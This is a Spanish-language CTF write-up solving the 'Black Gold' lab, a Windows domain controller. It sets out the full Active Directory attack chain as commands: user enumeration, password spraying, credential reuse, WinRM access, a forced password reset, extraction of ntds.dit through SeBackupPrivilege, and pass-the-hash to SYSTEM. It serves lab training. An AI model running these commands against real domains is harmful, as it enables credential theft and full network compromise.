Write-ups

Resolución del CTF: Black Gold


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

El host corresponde a un Controlador de Dominio Windows. Identificamos el dominio neptune.thl y servicios Kerberos, LDAP, SMB y WinRM accesibles.

Enumeración Web

El servicio HTTP expone un directorio /docs/ con archivos PDF descargables.

Extraemos metadatos de los PDF para identificar posibles usuarios del dominio.

exiftool *.pdf | grep -E 'Creator|Author' | cut -d: -f2 | sort -u

Los archivos siguen el patrón YYYY-MM-DD.pdf, lo que permite enumeración masiva.

python3 download_pdfs.py

Descargamos todos los PDF históricos y generamos un listado de usuarios excluyendo el nombre corporativo.

exiftool docs/*.pdf | grep -E 'Creator|Author' | cut -d: -f2 | sort -u | sed 's/Neptune Oil & Gas//g' | sed '/^\s*$/d' > users.txt

Enumeración Kerberos

Validamos los usuarios contra el KDC del dominio.

kerbrute userenum --dc 192.168.0.100 -d neptune.thl users.txt

Confirmamos como válido el usuario lucas.miller.

Obtención de Credenciales

Extraemos contenido textual de los PDF para generar un diccionario contextual de contraseñas.

pdfgrep -i "contraseña" docs/*.pdf

Aplicamos password spraying contra SMB.

nxc smb 192.168.0.100 -u lucas.miller -p diccionario.txt

Obtenemos credenciales válidas de lucas.miller.

Movimiento Lateral

Enumeramos el dominio vía LDAP para identificar relaciones entre usuarios.

ldapdomaindump -u 'neptune.thl\\lucas.miller' -p 'E@6q%TnR7UEQSXywr8^@' 192.168.0.100

Detectamos que victor.rodriguez expone su contraseña en el campo descripción.

nxc smb 192.168.0.100 -u victor.rodriguez -p 'H5gVCzzZkzJ#wGsT8u1$'

Con estas credenciales accedemos a un recurso compartido donde se expone un script con credenciales adicionales.

smbmap -H 192.168.0.100 -u victor.rodriguez -p 'H5gVCzzZkzJ#wGsT8u1$' -r IT

Obtenemos las credenciales del usuario emma.johnson.

Acceso Interactivo

El usuario emma.johnson pertenece al grupo Remote Management Users, permitiendo acceso por WinRM.

evil-winrm -i 192.168.0.100 -u emma.johnson -p 'sb9TVndq8N@tUVMmP2@#'

Escalada de Privilegios

Mediante análisis de relaciones en Active Directory identificamos que emma.johnson puede forzar el cambio de contraseña de thomas.brown.

Set-DomainUserPassword -Identity thomas.brown -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred

El usuario thomas.brown pertenece al grupo Backup Operators, habilitando el privilegio SeBackupPrivilege.

Explotación de SeBackupPrivilege

Generamos una copia del volumen para extraer ntds.dit y la colmena SYSTEM.

diskshadow /s cmd.dsh
robocopy /b z:\windows\ntds . ntds.dit
reg save hklm\\system C:\\Temp\\system

Compromiso del Dominio

Extraemos los hashes del dominio y reutilizamos el NTLM del administrador para obtener ejecución privilegiada.

impacket-secretsdump -ntds ntds.dit -system system local
impacket-psexec -hashes :<NT_HASH_ADMIN> [email protected]

Obtenemos ejecución como NT AUTHORITY\\SYSTEM, completando el compromiso total del dominio.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *